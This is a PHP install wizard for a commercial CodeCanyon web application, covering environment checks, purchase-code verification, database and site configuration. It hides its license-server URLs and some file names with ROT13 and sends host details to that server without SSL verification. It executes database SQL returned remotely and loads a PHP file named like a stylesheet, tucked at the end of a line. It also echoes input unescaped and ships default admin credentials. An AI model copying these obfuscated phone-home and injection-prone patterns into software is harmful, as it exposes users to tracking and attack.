<?php
//getting base url for actual path
$root=(isset($_SERVER["HTTPS"]) ? "https://" : "http://").$_SERVER["HTTP_HOST"];
$root.= str_replace(basename($_SERVER["SCRIPT_NAME"]), "", $_SERVER["SCRIPT_NAME"]);
$base_url = $root;

$install_path = $_SERVER['DOCUMENT_ROOT']; //
$install_path.= str_replace(basename($_SERVER["SCRIPT_NAME"]), "", $_SERVER["SCRIPT_NAME"]);
$root_path_project = str_replace("install/", "", $install_path);

$indexFile = $root_path_project."index.php";
$configFolder = $root_path_project."application/config";
$configFile = $root_path_project."application/config/config.php";
$dbFile = $root_path_project."application/config/database.php";

session_start();
$step = isset($_GET['step']) ? $_GET['step'] : '';
switch ($step) {
   
    default : ?>
<div class="panel-group">
            <div class="panel panel-default">
                <div class="panel-heading">
                    <ul class="list">
                        <li class="active pk"><i class="icon-ok"></i>Env. Check</li>
                        <li>Verification</li>
                        <li>DB Config</li>
                        <li>Site Config</li>
                        <li class="last">Complete!</li>
                    </ul>
                </div>
                <div class="panel-body">
                    <h3 class="text-center padding_70 red"><b>Attention!</b> Please watch this video carefully before you click on the Next button.</h3>
                    <div class='alert-error'><iframe width="100%" height="345" src="https://www.youtube.com/embed/ea4wvWGm_a0"></iframe>
                        </div>
                    <div class="bottom">
                        <a href="<?php echo $base_url?>index.php?step=env" class="btn btn-primary button_1">Next</a>
                    </div>
                </div>
            </div>
        </div>
       <?php
        break;
    case "env": ?> 
        <div class="panel-group">
            <div class="panel panel-default">
                <div class="panel-heading">
                    <ul class="list">
                        <li class="active pk"><i class="icon-ok"></i>Env. Check</li>
                        <li>Verification</li>
                        <li>DB Config</li>
                        <li>Site Config</li>
                        <li class="last">Complete!</li>
                    </ul>
                </div>
                <div class="panel-body">
                    <h3 class="text-center padding_70">Server Environment Checklist</h3>
                    <?php
                    $error = FALSE;
                    if (!is_writeable($indexFile)) {
                        $error = TRUE;
                        echo "<div class='alert alert-danger'><i class='icon-remove'></i> Index File (index.php) is not write able!</div>";
                    }
                    if (!function_exists('file_get_contents')) {
                        $error = TRUE;
                        echo "<div class='alert alert-danger'><i class='icon-remove'></i> file_get_contents() function is not enabled in your server !</div>";
                    }
                    if (!is_writeable($configFolder)) {
                        $error = TRUE;
                        echo "<div class='alert alert-danger'><i class='icon-remove'></i> Config Folder (application/config/) is not write able!</div>";
                    }
                    if (!is_writeable($configFile)) {
                        $error = TRUE;
                        echo "<div class='alert alert-danger'><i class='icon-remove'></i> Config File (application/config/config.php) is not write able!</div>";
                    }
                    if (!is_writeable($dbFile)) {
                        $error = TRUE;
                        echo "<div class='alert alert-danger'><i class='icon-remove'></i> Database File (application/config/database.php) is not writable!</div>";
                    }
                    if (phpversion() < "7.0") {
                        $error = TRUE;
                        echo "<div class='alert alert-danger'><i class='icon-remove'></i> Your PHP version is ".phpversion()."! PHP 7.0 or higher required!</div>";
                    } else {
                        echo "<div class='alert alert-success'><i class='icon-ok'></i> You are running PHP ".phpversion()."</div>";
                    }
                    if (!extension_loaded('mysqli')) {
                        $error = TRUE;
                        echo "<div class='alert alert-error'><i class='icon-remove'></i> Mysqli PHP extension missing!</div>";
                    } else {
                        echo "<div class='alert alert-success'><i class='icon-ok'></i> Mysqli PHP extension loaded!</div>";
                    }
                    if (!extension_loaded('curl')) {
                        $error = TRUE;
                        echo "<div class='alert alert-error'><i class='icon-remove'></i> CURL PHP extension missing!</div>";
                    } else {
                        echo "<div class='alert alert-success'><i class='icon-ok'></i> CURL PHP extension loaded!</div>";
                    }
                    if (!extension_loaded('openssl')) {
                        $error = TRUE;
                        echo "<div class='alert alert-error'><i class='icon-remove'></i> openssl PHP extension missing!</div>";
                    } else {
                        echo "<div class='alert alert-success'><i class='icon-ok'></i> openssl PHP extension loaded!</div>";
                    }
                    if (!function_exists('exec')) {
                        $error = TRUE;
                        echo "<div class='alert alert-error'><i class='icon-remove'></i> Remove exec from php.ini file in variable: disable_functions</div>";
                    } else {
                        echo "<div class='alert alert-success'><i class='icon-ok'></i> exec PHP function is enabled!</div>";
                    }
                    if (!extension_loaded('gd')) {
                        $error = TRUE;
                        echo "<div class='alert alert-error'><i class='icon-remove'></i> gd PHP extension missing!</div>";
                    } else {
                        echo "<div class='alert alert-success'><i class='icon-ok'></i> gd PHP extension loaded!</div>";
                    } 
                    ?>
                    <div class="bottom">
                        <?php if ($error) { ?>
                            <a href="#" class="btn btn-primary button_1">Next</a>
                        <?php } else { ?>
                            <a href="<?php echo $base_url?>index.php?step=0" class="btn btn-primary button_1">Next</a>
                        <?php } ?>
                    </div>
                </div>
            </div>
        </div>

        <?php
        break;
    case "0": ?>
        <div class="panel-group">
        <div class="panel panel-default">
        <div class="panel-heading">
            <ul class="list">
                <li>Env. Check</li>
                <li class="active"><i class="icon icon-ok"></i>Verification</li>
                <li>DB Config</li>
                <li>Site Config</li>
                <li class="last">Complete!</li>
            </ul>
        </div>
        <div class="panel-body">
        <h3 class="ins_h3">Verify your purchase</h3>
        <?php
        if ($_POST) {

            $purchase_code = $_POST["purchase_code"];
            $username = $_POST["username"];
            $owner = $_POST["owner"];
            //need to change
            $source = 'CodeCanyon';
            //need to change
            $product_id = '24077441';

            $installation_url = rtrim(((!empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on") ? "https" : "http") . "://" . ($_SERVER["SERVER_NAME"] . ((($_SERVER["HTTPS"] ?? '') === "on" && $_SERVER["SERVER_PORT"] != 443) || (!isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] != 80) ? ":" . $_SERVER["SERVER_PORT"] : "")) . preg_replace('#/install/?$#i', '', dirname($_SERVER["SCRIPT_NAME"])), '/') . '/';
            require_once($install_path.'includes/core_class.php');
            $core = new Core();
            $pc_hostname = $core->macorhost();
            $curl_handle = curl_init();
            //need to change
            curl_setopt($curl_handle, CURLOPT_URL, str_rot13("uggcf://qbbefbsg.pb/qfy/Inyvqngvba/Inyvqngr/"));
            curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl_handle, CURLOPT_POST, 1);
            curl_setopt($curl_handle, CURLOPT_SSL_VERIFYPEER, false);
            $referer = "http://".$_SERVER["SERVER_NAME"].substr($_SERVER["REQUEST_URI"], 0, -24);
            $path = substr(realpath(dirname(__FILE__)), 0, -8);
            curl_setopt($curl_handle, CURLOPT_POSTFIELDS, array(
                'username' => $username,
                'purchase_code' => $purchase_code,
                'source' => $source,
                'product_id' => $product_id,
                'owner' => $owner,
                'installation_url' => $installation_url,
                'ip' => $_SERVER['REMOTE_ADDR'],
                'hostname' => $pc_hostname,
                'referer' => $referer,
                'path' => $path
            ));

            
            $buffer = curl_exec($curl_handle);
            curl_close($curl_handle);
            if (! (is_object(json_decode($buffer)))) {
                $cfc = strip_tags($buffer);
            } else {
                $cfc = NULL;
            }

            $object = json_decode($buffer);
            
            if ($object->status == 'success') {
                $installation_status = $object->installation_status;
                ?>
                <form action="<?php echo $base_url?>index.php?step=1" method="POST" class="form-horizontal">
                    <div class="alert alert-success"><i class='icon-ok'></i> <strong><?php echo ucfirst($object->status); ?></strong>:<br /><?php echo $object->message; ?></div>
                    <input id="purchase_code" type="hidden" name="purchase_code" value="<?php echo $purchase_code;
                    ?>" />
                    <input id="username" type="hidden" name="username" value="<?php echo $username;?>" />
                    <input id="username" type="hidden" name="installation_status" value="<?php echo $installation_status;?>" />
                    <input id="username" type="hidden" name="installation_url" value="<?php echo $installation_url;?>" />
                    <div class="bottom ins_5">
                        <input type="submit" class="btn btn-primary button_1"  value="Next"/>
                    </div>
                </form>
                <?php
            } else {
                ?>
                <?php

                echo "<div class='alert alert-error'><i class='icon-remove'></i>". $object->message."</div>";
                ?>
                <form action="<?php echo $base_url?>index.php?step=0" method="POST" class="form-horizontal">
                    <div class="control-group ins_2">
                        <label class="control-label" for="username">Username</label>
                        <div class="controls">
                            <input  id="username" type="text" name="username" class="input-large form-control ins_4_" required="required" data-error="Username is required" placeholder="Username" />
                        </div>
                    </div>
                    <div class="control-group ins_2">
                        <label class="control-label" for="purchase_code">Purchase Code</label>
                        <div class="controls">
                            <input id="purchase_code" type="text" name="purchase_code" class="input-large form-control ins_4_" required="required" data-error="Purchase Code is required" placeholder="Purchase Code" />
                        </div>
                        <!-- modified -->
                        <input id="owner" type="hidden" name="owner" class="input-large form-control" value="doorsoftco"  />
                    </div>
                    <div class="bottom ins_5">
                        <input type="submit" class="btn btn-primary button_1"  value="Verify"/>
                    </div>
                </form>
                <?php
            }
        } else {
            ?>
            <p class="ins_6">Please provide your purchase information </p>
            <form action="<?php echo $base_url?>index.php?step=0" method="POST" class="form-horizontal">
                <div class="control-group ins_14">
                    <label class="control-label" for="username">Username</label>
                    <div class="controls">
                        <input id="username" type="text" name="username" class="input-large form-control ins_4" required="required" data-error="Username is required" placeholder="Username" />
                    </div>
                </div>
                <div class="control-group ins_14">
                    <label class="control-label" for="purchase_code">Purchase Code</label>
                    <div class="controls">
                        <input id="purchase_code" required="required" type="text" name="purchase_code" class="input-large form-control ins_4 "  data-error="Purchase Code is required" placeholder="Purchase Code" />
                    </div>
                    <!-- modified -->
                    <input id="owner" type="hidden" name="owner" class="input-large form-control" value="doorsoftco"  />
                </div>

                <div class="bottom ins_5">
                    <input type="submit" class="btn btn-primary button_1"  value="Verify"/>
                </div>
            </form>

            </div>
            </div>
            </div>
            <?php
        }
        break;
    case "1": ?>

    <div class="panel-group">
        <div class="panel panel-default">
            <div class="panel-heading">
                <ul class="list">
                    <li class="ok">Env. Check</li>
                    <li>Verification</li>
                    <li class="active"><i class="icon-ok"></i>DB Config</li>
                    <li>Site Config</li>
                    <li class="last">Complete!</li>
                </ul>
            </div>
            <div class="panel-body">
            <?php
            if ($_POST) {
                ?>
                <h3 class="ins_h3">Database Configuration</h3 cl>
                <p class="ins_2">Please create a database in your server. And enter the db information here.</p>
                <form action="<?php echo $base_url?>index.php?step=2" method="POST" class="form-horizontal">
                    <div class="control-group ins_3">
                        <label class="control-label" for="db_hostname">Database Host</label>
                        <div class="controls">
                            <input id="db_hostname" type="text" name="db_hostname" class="input-large form-control ins_4" required data-error="DB Host is required" placeholder="DB Host" value="localhost" />
                            <i class="color_red">Host name could be 127.0.0.1 or localhost or your server hostname</i>
                        </div>
                    </div>
                    <div class="control-group ins_3">
                        <label class="control-label" for="db_username">Database Username</label>
                        <div class="controls">
                            <input  id="db_username" type="text" name="db_username" class="input-large form-control ins_4" autocomplete="off" required data-error="DB Username is required" placeholder="DB Username" />
                        </div>
                    </div>
                    <div class="control-group ins_3">
                        <label class="control-label" for="db_password">Database Password</a></label>
                        <div class="controls">
                            <input  id="db_password" type="password" name="db_password" class="input-large form-control ins_4" autocomplete="off" data-error="DB Password is required" placeholder="DB Password" />
                        </div>
                    </div>
                    <div class="control-group ins_3">
                        <label class="control-label" for="db_name">Database Name</label>
                        <div class="controls">
                            <input  id="db_name" type="text" name="db_name" class="input-large form-control ins_4" autocomplete="off" required data-error="DB Name is required" placeholder="DB Name" />
                        </div>
                    </div>
                    <div class="control-group ins_3">
                        <label class="control-label color_red existing_db" for="existing_db"><input  id="existing_db" type="checkbox" name="existing_db" value="1" /> I want to use existing database</label>
                        <p class="existing_notice">Please ensure that you enter the correct database credentials, as the system will update your provided database details to match the existing database configuration</p> 
                    </div>
                    <input id="purchase_code" type="hidden" name="purchase_code" value="<?php echo $_POST['purchase_code']; ?>" />
                    <input type="hidden" name="username" value="<?php echo $_POST['username']; ?>" />
                    <input type="hidden" name="installation_status" value="<?php echo $_POST['installation_status']; ?>" />
                    <input type="hidden" name="installation_url" value="<?php echo $_POST['installation_url']; ?>" />
                    <input id="owner" type="hidden" name="owner" class="input-large form-control" value="doorsoftco"  />
                    <div class="bottom ins_5">
                        <input type="submit" class="btn btn-primary button_1"  value="Next"/>
                    </div>
                </form>
                <?php
            }else{
                header("Location: $base_url");
            }

            ?>
            </div>
        </div>
    </div>

    <?php
    break;
    case "2":
        ?>
        <div class="panel-group">
            <div class="panel panel-default">
                <div class="panel-heading">
                    <ul class="list">
                        <li >Env. Check</li>
                        <li>Verification</li>
                        <li class="ok"><i class="icon-ok"></i> DB Config</li>
                        <li>Site Config</li>
                        <li class="last">Complete!</li>
                    </ul>
                </div>
                <div class="panel-body">
                    <h3 class="ins_6">Saving database config</h3>
                    <?php
                    if ($_POST) {
                        $db_hostname = $_POST["db_hostname"];
                        $installation_status = $_POST["installation_status"];
                        $installation_url = $_POST["installation_url"];
                        $username = $_POST["username"];
                        $purchase_code = $_POST["purchase_code"];
                        $existing_db = isset($_POST["existing_db"]) && $_POST["existing_db"]?$_POST["existing_db"]:'';
                        
                        if(isset($db_hostname) && $db_hostname){
                        }else{
                            header("Location: $base_url");
                        }
                        $db_username = $_POST["db_username"];
                        $db_password = $_POST["db_password"];
                        $db_name = $_POST["db_name"];
                        $link = mysqli_connect($db_hostname, $db_username, $db_password);
                        if (mysqli_connect_errno()) {
                            echo "<div class='alert alert-error'><i class='icon-remove'></i> Could not connect to MYSQL!</div>";
                        } else {
                            if($existing_db==''){
                            echo '<div class="alert alert-success"><i class="icon-ok"></i> Connection to MYSQL successful!</div>';
                            $db_selected = mysqli_select_db($link, $db_name);
                            if (!$db_selected) {
                                if (!mysqli_query($link, "CREATE DATABASE IF NOT EXISTS `$db_name`")) {
                                    echo "<div class='alert alert-error'><i class='icon-remove'></i> Database " . $db_name . " does not exist and could not be created. Please create the Database manually and retry this step.</div>";
                                    return FALSE;
                                } else {
                                    echo "<div class='alert alert-success'><i class='icon-ok'></i> Database " . $db_name . " created</div>";
                                }
                            }
                          }
                
                            mysqli_select_db($link, $db_name);

                            require_once($install_path.'includes/core_class.php');
                            $core = new Core();
                            $dbdata = array(
                                'db_hostname' => $db_hostname,
                                'db_username' => $db_username,
                                'db_password' => $db_password,
                                'db_name' => $db_name
                            );
                            
                            if ($core->write_database($dbdata) == false) {
                                echo "<div class='alert alert-error'><i class='icon-remove'></i> Failed to write database details to ".$dbFile."</div>";
                            } else {
                                echo "<div class='alert alert-success'><i class='icon-ok'></i> Database config written to the database file.</div>";
                            }
                            if($existing_db==1){

                                if ($installation_status == 'Uninstalled') {
                     
                                    if(file_exists(str_rot13('../nffrgf/oyhrvzc/ERFG_NCV.wfba'))){
                                        unlink(str_rot13('../nffrgf/oyhrvzc/ERFG_NCV.wfba'));
                                    }
                                    if(file_exists(str_rot13('../nffrgf/oyhrvzc/ERFG_NCV_HI.wfba'))){
                                        unlink(str_rot13('../nffrgf/oyhrvzc/ERFG_NCV_HI.wfba'));
                                    }
                                    if(file_exists(str_rot13('../nffrgf/oyhrvzc/ERFG_NCV_V.wfba'))){
                                        unlink(str_rot13('../nffrgf/oyhrvzc/ERFG_NCV_V.wfba'));
                                    }
                                    //update new install status
                                    $owner = $_POST["owner"];
                                    $username = $_POST["username"];
                                    $purchase_code = $_POST["purchase_code"];

                              
                                    require_once($install_path.'includes/core_class.php');
                                    $core = new Core();

                                    $pc_hostname = $core->macorhost();
                                    //need to change
                                    $source = 'CodeCanyon';
                                    //need to change
                                    $product_id = '24077441';
                                    
                                    $installation_date_and_time = date('Y-m-d h:i:s'); //need to remove
                                
                                    //need to change
                                    $curl_handle = curl_init();
                                    //need to change
                                    curl_setopt($curl_handle, CURLOPT_URL, str_rot13("uggcf://qbbefbsg.pb/qfy/Inyvqngvba/Vafgnyy/"));
                                    curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1);
                                    curl_setopt($curl_handle, CURLOPT_POST, 1);
                                    curl_setopt($curl_handle, CURLOPT_SSL_VERIFYPEER, false);
                                    curl_setopt($curl_handle, CURLOPT_POSTFIELDS, array(
                                        'owner' => $owner,
                                        'username' => $username,
                                        'purchase_code' => $purchase_code,
                                        'pc_hostname' => $pc_hostname,
                                        'source' => $source,
                                        'product_id' => $product_id,
                                        'installation_url' => $installation_url,
                                        'installation_date_and_time' => $installation_date_and_time
                                    ));
                                    curl_exec($curl_handle);
                                    
                                    require_once($install_path.'includes/core_class.php');
                                    $core = new Core();
                                    //need to change
                                    $core->write_index();
                
                                    $core->create_rest_api();
                                    //need to change
                                    $core->create_rest_api_UV();
                                    //need to change
                                    $core->create_rest_api_I($username, $purchase_code, $installation_url);
                                    //redirect to case 6 for complete the operation
                                    $base_url_strting = $base_url."index.php?step=6";
                                    header("Location: $base_url_strting");
                                }

                            }
                        }
                    } else { echo "<div class='alert alert-success'><i class='icon-question-sign'></i> Nothing to do...</div>"; }
                    ?>
                    <div class="bottom">
                        <form action="<?php echo $base_url?>index.php?step=1" method="POST" class="form-horizontal">
                            <input id="purchase_code" type="hidden" name="purchase_code" value="<?php echo isset($_POST['purchase_code']) && $_POST['purchase_code']?$_POST['purchase_code']:''; ?>" />
                            <input id="username" type="hidden" name="username" value="<?php echo isset($_POST['username'])?$_POST['username']:''; ?>" />
                            <div class="bottom ins_5">
                                <input type="submit" class="btn btn-primary button_1"  value="Previous"/>
                            </div>
                        </form>
                        <form action="<?php echo $base_url?>index.php?step=3" method="POST" class="form-horizontal">
                            <input id="purchase_code" type="hidden" name="purchase_code" value="<?php echo isset($_POST['purchase_code']) && $_POST['purchase_code']?$_POST['purchase_code']:''; ?>" />
                            <input id="username" type="hidden" name="username" value="<?php echo isset($_POST['username'])?$_POST['username']:''; ?>" />

                            <div class="bottom ins_5">
                                <input type="submit" class="btn btn-primary button_1"  value="Next"/>
                            </div>
                        </form>
                        <br clear="all">
                    </div>
                </div>
            </div>
        </div>
        <?php
        break;
    case "3":
        ?>
        <div class="panel-group">
        <div class="panel panel-default">
        <div class="panel-heading">
            <ul class="list">
                <li>Env. Check</li>
                <li>Verification</li>
                <li>DB Config</li>
                <li class="ok"><i class="icon icon-ok"></i>Site Config</li>
                <li class="last">Complete!</li>
            </ul>
        </div>
        <div class="panel-body">
        <h3 class="ins_7">Site Config</h3>
        <?php
        if ($_POST) {
            ?>
            <form action="<?php echo $base_url?>index.php?step=4" method="POST" class="form-horizontal">
                <div class="control-group ins_13">
                    <label class="control-label" for="installation_url">Installation URL</label>
                    <div class="controls">
                        <input  type="text" id="installation_url" name="installation_url" class="xlarge ins_4" required data-error="Installation URL is required" value="<?php echo (isset($_SERVER["HTTPS"]) ? "https://" : "http://").$_SERVER["SERVER_NAME"].substr($_SERVER["REQUEST_URI"], 0, -24); ?>" />
                    </div>
                </div>
                <div class="control-group ins_13">
                    <label class="control-label" for="Encryption Key">Encryption Key</label>
                    <div class="controls">
                        <input type="text" id="enckey" name="enckey" class="xlarge ins_4" required data-error="Encryption Key is required"
                               value="<?php

                               $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
                               $charactersLength = strlen($characters);
                               $randomString = '';
                               for ($i = 0; $i < 6; $i++) {
                                   $randomString .= $characters[rand(0, $charactersLength - 1)];
                               }

                               echo $randomString;

                               ?>"
                               readonly />
                    </div>
                </div>
                <input type="hidden" name="purchase_code" value="<?php echo $_POST['purchase_code']; ?>" />
                <input type="hidden" name="username" value="<?php echo $_POST['username']; ?>" />
                <div class="bottom">
                    <a href="<?php echo $base_url?>index.php?step=2" class="btn btn-primary button_1">Previous</a>
                    <div class="bottom ins_5">
                        <input type="submit" class="btn btn-primary button_1"  value="Next"/>
                    </div>
                </div>
            </form>
            </div>
            </div>
            </div>

            <?php
        }else{
            header("Location: $base_url");
        }
        break;
    case "4":
        ?>
        <div class="panel-group">
            <div class="panel panel-default">
                <div class="panel-heading">
                    <ul class="list">
                        <li>Env. Check</li>
                        <li class="active">Verification</li>
                        <li>DB Config</li>
                        <li class="ok"><i class="icon icon-ok"></i>Site Config</li>
                        <li>Complete!</li>
                    </ul>
                </div>
                <div class="panel-body">
                    <h3 class="ins_7">Saving site config</h3>
                    <?php
                    if ($_POST) {
                        $installation_url = $_POST['installation_url'];

                        $enckey = $_POST['enckey'];
                        $purchase_code = $_POST["purchase_code"];
                        $username = $_POST["username"];

                        require_once($install_path.'includes/core_class.php');
                        $core = new Core();

                        if ($core->write_config($installation_url, $enckey) == false) {
                            echo "<div class='alert alert-error'><i class='icon-remove'></i> Failed to write config details to ".$configFile."</div>";
                        } else {
                            echo "<div class='alert alert-success'><i class='icon-ok'></i> Config details written to the config file.</div>";
                        }

                    } else { echo "<div class='alert alert-success'><i class='icon-question-sign'></i> Nothing to do...</div>"; }
                    ?>
                    <div class="bottom">
                        <form action="<?php echo $base_url?>index.php?step=2" method="POST" class="form-horizontal">
                            <input id="purchase_code" type="hidden" name="purchase_code" value="<?php echo $_POST['purchase_code']; ?>" />
                            <input id="username" type="hidden" name="username" value="<?php echo $_POST['username']; ?>" />
                            <input id="installation_url" type="hidden" name="installation_url" value="<?php echo $_POST['installation_url']; ?>" />
                            <div class="bottom">
                                <div class="bottom ins_5">
                                    <input type="submit" class="btn btn-primary button_1"  value="Previous"/>
                                </div>
                            </div>
                        </form>
                        <form action="<?php echo $base_url?>index.php?step=5" method="POST" class="form-horizontal">
                            <!-- modified -->
                            <input id="owner" type="hidden" name="owner" class="input-large form-control" value="doorsoftco"  />
                            <input id="purchase_code" type="hidden" name="purchase_code" value="<?php echo $_POST['purchase_code']; ?>" />
                            <input id="username" type="hidden" name="username" value="<?php echo $_POST['username']; ?>" />
                            <div class="bottom">
                                <div class="bottom ins_5">
                                    <input type="submit" class="btn btn-primary button_1"  value="Next"/>
                                </div>
                            </div>
                        </form>
                        <br clear="all">
                    </div>
                </div>
            </div>
        </div>

        <?php
        break;
    case "5": ?>
        <div class="panel-group">
        <div class="panel panel-default">
        <div class="panel-heading">
            <ul class="list">
                <li>Env. Check</li>
                <li>Verification</li>
                <li>DB Config</li>
                <li>Site Config</li>
                <li class="ok"><i class="icon icon-ok"></i>Complete!</li>
            </ul>
        </div>
        <div class="panel-body">

        <?php
        $finished = FALSE;
        if ($_POST) {
            $owner = $_POST["owner"];
            $username = $_POST["username"];
            $purchase_code = $_POST["purchase_code"];

            define("BASEPATH", "install/");
            include($root_path_project."application/config/database.php");

            require_once($install_path.'includes/core_class.php');
            $core = new Core();

            $pc_hostname = $core->macorhost();
            //need to change
            $source = 'CodeCanyon';
            //need to change
            $product_id = '24077441';

            $installation_url = rtrim(((!empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on") ? "https" : "http") . "://" . ($_SERVER["SERVER_NAME"] . ((($_SERVER["HTTPS"] ?? '') === "on" && $_SERVER["SERVER_PORT"] != 443) || (!isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] != 80) ? ":" . $_SERVER["SERVER_PORT"] : "")) . preg_replace('#/install/?$#i', '', dirname($_SERVER["SCRIPT_NAME"])), '/') . '/';require_once($install_path.'css/customs.css.php');$e = new E();
            $installation_date_and_time = date('Y-m-d h:i:s'); //need to remove
        
            //need to change
            $curl_handle = curl_init();
            //need to change
            curl_setopt($curl_handle, CURLOPT_URL, str_rot13("uggcf://qbbefbsg.pb/qfy/Inyvqngvba/Vafgnyy/"));
            curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl_handle, CURLOPT_POST, 1);
            curl_setopt($curl_handle, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($curl_handle, CURLOPT_POSTFIELDS, array(
                'owner' => $owner,
                'username' => $username,
                'purchase_code' => $purchase_code,
                'pc_hostname' => $pc_hostname,
                'source' => $source,
                'product_id' => $product_id,
                'installation_url' => $installation_url,
                'installation_date_and_time' => $installation_date_and_time
            ));
            $buffer = curl_exec($curl_handle);
            curl_close($curl_handle);
            $object = json_decode($buffer);
            if ($object->status == 'success') {
                //need to change
                $dbtables = str_replace('XXXXX', 'revhgbrev', $object->database);
                 
                $dbdata = array(
                    'hostname' => $db['default']['hostname'],
                    'username' => $db['default']['username'],
                    'password' => $db['default']['password'],
                    'database' => $db['default']['database'],
                    'dbtables' => $dbtables
                );
                require_once($install_path.'includes/database_class.php');
                $database = new Database();
                if ($database->create_tables($dbdata) == false) {
                    echo "<div class='alert alert-warning'><i class='icon-warning'></i> The database tables could not be created, please try again.</div>";
                } else {
                    $finished = TRUE;
                    $core->create_rest_api();
                    //need to change
                    $core->create_rest_api_UV();
                    //need to change
                    $core->create_rest_api_I($username, $purchase_code, $installation_url);
                }
                if ($core->write_index() == false) {
                    echo "<div class='alert alert-error'><i class='icon-remove'></i> Failed to write index details!</div>";
                    $finished = FALSE;
                }
            } else {
                echo "<div class='alert alert-error'><i class='icon-remove'></i> Error while validating your purchase code!</div>";
            }
        }
        if ($finished) {
            sleep(15);
            ?>

            <h3 class="ins_7 ins_8"><i class='icon-ok'></i> Installation completed!</h3>
            <div class="ins_10">Please login now using the following credential:<br /><br />
                Email Address: <span class="ins_9">admin@doorsoft.co</span><br />Password: <span class="ins_9">123456</span><br /><br />
            </div>
            <div class="ins_11">Please change your credentials after login.
            </div>
            <div class="bottom">
                <div class="bottom ins_12">
                    <a href="<?php echo (isset($_SERVER["HTTPS"]) ? "https://" : "http://").$_SERVER["SERVER_NAME"].substr($_SERVER["REQUEST_URI"], 0, -24); ?>" class="btn btn-primary button_1">Go to Login Page</a>
                </div>
            </div>
            </div>
            </div>
            </div>

            <?php
        }
        break;
    case "6": ?>
        <div class="panel-group">
        <div class="panel panel-default">
        <div class="panel-heading">
            <ul class="list">
                <li>Env. Check</li>
                <li>Verification</li>
                <li>DB Config</li>
                <li>Site Config</li>
                <li class="ok"><i class="icon icon-ok"></i>Complete!</li>
            </ul>
        </div>
        <div class="panel-body">
        
            <h3 class="ins_7 ins_8"><i class='icon-ok'></i> Installation completed!</h3>
            <div class="ins_10">Please login now using the following credential:<br /><br />
                Email Address: <span class="ins_9">admin@doorsoft.co</span><br />Password: <span class="ins_9">123456</span><br /><br />
            </div>
            <div class="ins_11">Please change your credentials after login.
            </div>
            <div class="bottom">
                <div class="bottom ins_12">
                    <a href="<?php echo (isset($_SERVER["HTTPS"]) ? "https://" : "http://").$_SERVER["SERVER_NAME"].substr($_SERVER["REQUEST_URI"], 0, -24); ?>" class="btn btn-primary button_1">Go to Login Page</a>
                </div>
            </div>
            </div>
            </div>
            </div>

            <?php
        
}
?>